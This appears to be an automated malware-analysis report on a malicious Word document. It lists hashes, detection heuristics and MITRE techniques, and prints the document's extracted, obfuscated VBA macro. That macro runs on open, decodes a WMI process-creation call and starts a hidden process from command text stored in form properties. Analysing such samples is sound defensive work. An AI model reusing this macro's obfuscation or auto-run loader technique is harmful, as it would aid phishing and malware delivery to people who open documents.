Office (OLE) malware analysis — malicious · 003b3d02d28a7f2d

MALICIOUS

Office (OLE)

179.0 KB Created: 2020-08-18 23:27:00 Authoring application: Microsoft Office Word First seen: 2020-09-07

MD5: d3ca754d8a9667c444ef7f7d6f2d5e08 SHA-1: cd6bad3c4b7f7c7d3c5d3c98f1f151ffe646bb23 SHA-256: 003b3d02d28a7f2d4f9095d9c190b3db4c11945829d0dc39888e8570482caf42

232 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the presence of an auto-executing macro that uses a hidden UserForm to execute commands. This macro likely downloads and executes a second-stage payload, as suggested by the 'CreateObject' call and the 'Document_Open' auto-execution trigger. The ClamAV detection 'Doc.Malware.Sagent-9378591-0' further confirms its malicious nature.

Heuristics 8

ClamAV: Doc.Malware.Sagent-9378591-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Sagent-9378591-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Matched line in script
```
Pdvy5ogegfmh6itd = Split _
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set Ahyh60nzbzwdk_ = CreateObject(N5gmf4i4uvwmt)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Document_open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	10478 bytes
SHA-256: `609b984e4a1415b37edf88d36fd3e2ec3eb14d06ede6f035edf65b944d954744`
Detection ClamAV: No threats found Obfuscation or payload: likely 55 of 107 identifiers look randomly generated (e.g. 'D6ww3dqpuj_e_rv8bh') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Taxkirgoicleqh6" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub _ Document_open() Qasojp9sf0_dnki.Lowtorx32rrs5fka_ End Sub Attribute VB_Name = "Qasojp9sf0_dnki" Attribute VB_Base = "0{6CB62DC5-1272-4FCB-9336-10F71FC13907}{90CA0E05-0BC6-473C-BEB9-E0990464EA8B}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Function Lowtorx32rrs5fka_() For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 639 Dmgf7rb0vxmq = 393 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Eir72id42h28r = Uz205ez20v4i1 Rsu8wokkbx_g9f = Qasojp9sf0_dnki.HelpContextId + 50 + 50 For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 7 Dmgf7rb0vxmq = 394 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq A8m_itthw7i = Uz205ez20v4i1 Zx0r6iu72d8 = ChrW(Rsu8wokkbx_g9f + (15)) For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 326 Dmgf7rb0vxmq = 559 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Taufmh5q9_b_oo7tm = Uz205ez20v4i1 My3ysrfcx3oexjw6 = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Zx0r6iu72d8 + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Qasojp9sf0_dnki.R3v0gggm0qbart7l + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg" For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 599 Dmgf7rb0vxmq = 274 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Wp97j8b3ens9bh = Uz205ez20v4i1 N5gmf4i4uvwmt = A_kxi8z7bifojgd0(My3ysrfcx3oexjw6) For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 21 Dmgf7rb0vxmq = 996 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Fri4vatp6xp7avmct = Uz205ez20v4i1 Set Ahyh60nzbzwdk_ = CreateObject(N5gmf4i4uvwmt) For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 711 Dmgf7rb0vxmq = 972 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq K10ti5lbvc5xvb = Uz205ez20v4i1 Bkn4491l4ec8aubv = Qasojp9sf0_dnki.Rc13xe31o4v.ControlTipText For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 457 Dmgf7rb0vxmq = 713 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Rm77i5mk9a9eqbzu = Uz205ez20v4i1 N9qt1yyg3xpxi0jh = Aqi52ud06bwyf + (N5gmf4i4uvwmt + Zx0r6iu72d8 + Qasojp9sf0_dnki.Rl67u5hz7bo5rt.ControlTipText + Bkn4491l4ec8aubv) For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 281 Dmgf7rb0vxmq = 794 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Xdzy8bblcdb1ov8 = Uz205ez20v4i1 Iy9ktlyf46x951pwj9 = N9qt1yyg3xpxi0jh + Qasojp9sf0_dnki.R3v0gggm0qbart7l For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 773 Dmgf7rb0vxmq = 215 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Hoxvu6ww5smm2 = Uz205ez20v4i1 Set Ax553358nx12q = Llr7uoi1rm3kf(Iy9ktlyf46x951pwj9) For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 938 Dmgf7rb0vxmq = 189 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Fn7_dgsg49285vx97n = Uz205ez20v4i1 Zij0v4rl96mkgez = Array(Hyww52qig_f5k1x + "Cs4sab_e31tnsqn_kj Ybu1i3b4wyxbiinhzFuiyr5did22wg A0y9t3v1_jorfyk", Ahyh60nzbzwdk_. _ Create(Ez8vmj6zi1a4, Djzycztlv2w_, Ax553358nx12q), Hc_rcakupy91sv0j + "Rq90wr9sslp J4fwbzhp_dxav P29vevbucgb1zvb0 S6gd63eq726av49") For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 463 Dmgf7rb0vxmq = 905 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq K7l53ry2omflg = Uz205ez20v4i1 End Function Function Llr7uoi1rm3kf(Uhdd21cwd04h1e) For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 894 Dmgf7rb0vxmq = 432 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Rhk_l_3mbf7t = Uz205ez20v4i1 Set Llr7uoi1rm3kf = CreateObject(Uhdd21cwd04h1e) For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 257 Dmgf7rb0vxmq = 334 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Laxtd6wvy77vi4o = Uz205ez20v4i1 Llr7uoi1rm3kf. _ showwindow = W7gu9g6m41_um_ + Jat9fox2_5ej5hts For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 121 Dmgf7rb0vxmq = 666 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Czb91qrpj8stp = Uz205ez20v4i1 End Function Function A_kxi8z7bifojgd0(C9664kfnij7b) For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 884 Dmgf7rb0vxmq = 7 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Euw8hjy5pb52 = Uz205ez20v4i1 B0ut12sgmjtunsn1iq = C9664kfnij7b For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 485 Dmgf7rb0vxmq = 830 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Txk777mz6g2 = Uz205ez20v4i1 Pdvy5ogegfmh6itd = Split _ (B0ut12sgmjtunsn1iq, "58[sn ]]][ jsa 21u7gsggg") For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 227 Dmgf7rb0vxmq = 110 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Ne3v5fesct7t3zvcie = Uz205ez20v4i1 Reqqz9roz0k1q = Cl517oxta6kf3u + Join(Pdvy5ogegfmh6itd, Xesac63_jeg) For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 55 Dmgf7rb0vxmq = 109 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Oy6wrpj_n9m_6u_ = Uz205ez20v4i1 A_kxi8z7bifojgd0 = Reqqz9roz0k1q For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 35 Dmgf7rb0vxmq = 118 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq D6ww3dqpuj_e_rv8bh = Uz205ez20v4i1 End Function Function Ez8vmj6zi1a4() For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 324 Dmgf7rb0vxmq = 386 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq K_h9s25t2y3ntjdpb = Uz205ez20v4i1 Heq7o2emu72 = Qasojp9sf0_dnki.Z9_6dx_1jkusfeld.Caption For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 349 Dmgf7rb0vxmq = 989 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq H2g23v6asi9tnk = Uz205ez20v4i1 Ez8vmj6zi1a4 = A_kxi8z7bifojgd0(Heq7o2emu72) For Yojlrbvhabj = 5 To 62 DoEvents Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr)) Next Yojlrbvhabj Uz205ez20v4i1 = 575 Dmgf7rb0vxmq = 924 Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq Fyc9uj4e2ixia31ka = Uz205ez20v4i1 End Function

Open this report in the interactive analyzer, or submit your own file for analysis.